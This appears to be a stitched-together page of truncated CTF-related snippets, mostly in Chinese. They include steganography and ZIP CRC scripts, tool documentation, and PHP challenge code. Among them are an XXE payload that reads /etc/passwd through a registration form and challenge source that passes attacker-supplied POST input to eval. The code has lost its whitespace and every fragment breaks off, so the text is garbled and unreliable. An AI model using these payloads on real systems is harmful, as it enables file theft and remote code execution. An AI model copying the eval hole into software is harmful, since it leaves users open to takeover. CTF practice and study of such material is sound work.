importwaveimportnumpyasnpdefembed_message(wav_file, message, output_file):# 将消息转换为二进制message_bits =''.join(format(ord(c),'08b')forcinmessage)# 打开原始WAV文件withwave.open(wav_file,'rb')aswav: params = wav.getparams()# 获取WAV文件的参数frames = wav.readframes(wav.getnframes()...
用register.php里面的XML格式,我们可以构造出: user_xml_format=<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]> <userinfo> <user> <username>%26xxe;</username> <password>123</password> </user> </userin...
/i",$str)){die('bad hacker!!!');}}$poc=$_POST['poc'];waf($poc);$filename="php://filter/$poc/resource=/var/www/html/badChar.txt";$result=file_get_contents($filename);if($result==="sakura for ISCTF"){echo"yes! master!";eval($_POST['cmd']);...
phphighlight_file(__FILE__);error_reporting(0);class artifact{ public $excalibuer; public $arrow; public function __toString(){ echo "为Saber选择了对的武器!"; return $this->excalibuer->arrow; }}class prepare{ public $release; public function __get($key){ $functioin = $this->releas...
libdtrace-ctf is a port of the Solaris Compact Type Format library to Linux. It's meant to be used with DTrace for Linux. Its file format is similar to but not compatible with Solaris CTF files. The public API is source-compatible, to ease adoption of Linux for libctf users. ...
Every challenge generated by or processed byctfclishould have achallenge.ymlfile. The specification format has already been tested and used with CTFd in production events but comments, suggestions, and PRs are welcome on the format ofchallenge.yml. ...
Add mediaRSSCTF-XV-Veniis-Rezq-Fix-1 - XVehicles - UT99 - Netw This is a modal window. The media could not be loaded, either because the server or network failed or because the format is not supported. Post a comment Sign in or join with: ...
print('---Filename CRC Info---') for name in name_list: name_info = file_handler.getinfo(name) crc_list.append(hex(name_info.CRC)) print('[+] {0}: {1}'.format(name,hex(name_info.CRC))) print('---') print(crc_list
# 读取2.txt文件中的数据withopen('D:\桌面\misc-大端小端问题/1.txt','r')asfile:data = file.read()# 将数据进行处理data_list = data.split()# 按空格分割数据swapped_data = []# 对每个十六进制数的顺序进行颠倒forhex_numberindata_list:swapped_hex = hex_number[::-1]# 颠倒顺序swapped_data...
Not all tools like the PCAPNG file format... so you can convert them with an online tool http://pcapng.com/ or from the command-line with the editcap command that comes with installing Wireshark: editcap old_file.pcapng new_file.pcap tcpflow A command-line tool for reorganizing packets ...